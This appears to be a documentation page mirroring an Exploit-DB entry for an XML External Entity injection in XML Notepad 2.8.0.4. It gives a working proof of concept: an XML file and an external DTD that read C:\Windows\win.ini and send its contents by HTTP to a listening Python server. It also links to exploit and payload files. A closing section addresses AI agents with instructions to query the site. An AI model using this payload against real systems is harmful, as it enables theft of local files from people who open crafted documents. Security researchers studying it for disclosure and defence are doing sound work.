# XML Notepad 2.8.0.4 - XML External Entity Injection

{% embed url="<https://www.exploit-db.com/exploits/47606>" %}

### FILES

{% file src="/files/-LtQuZVzmDCYgNHa40Ps" %}
Vulnerable software
{% endfile %}

{% file src="/files/-LtVHFiOd0Q9Sophx1qu" %}
Exploit
{% endfile %}

{% file src="/files/-LtVHM9Mp3rSog7l8OdU" %}
Payload
{% endfile %}

### POC

{% embed url="<https://www.youtube.com/watch?v=o6ltE-Bv8ww>" %}

### ORIGINAL

```
# Exploit Title: XML Notepad 2.8.0.4 - XML External Entity Injection
# Date: 2019-11-11
# Exploit Author: 8-Team / daejinoh
# Vendor Homepage:  https://www.microsoft.com/  
# Software Link:  https://github.com/microsoft/XmlNotepad  
# Version: XML Notepad 2.8.0.4
# Tested on: Windows 10 Pro
# CVE : N/A

# Step
1) File -> Open -> *.xml

# Exploit Code

1) Server(python 3.7) : python -m http.server
2) Poc.xml : 
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "C:\Windows\win.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

3) payload.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;

  -------------------------------------------------------------------------------- 
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://awesome.hackpuntes.com/exploit-db/xml-notepad-2.8.0.4-xml-external-entity-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
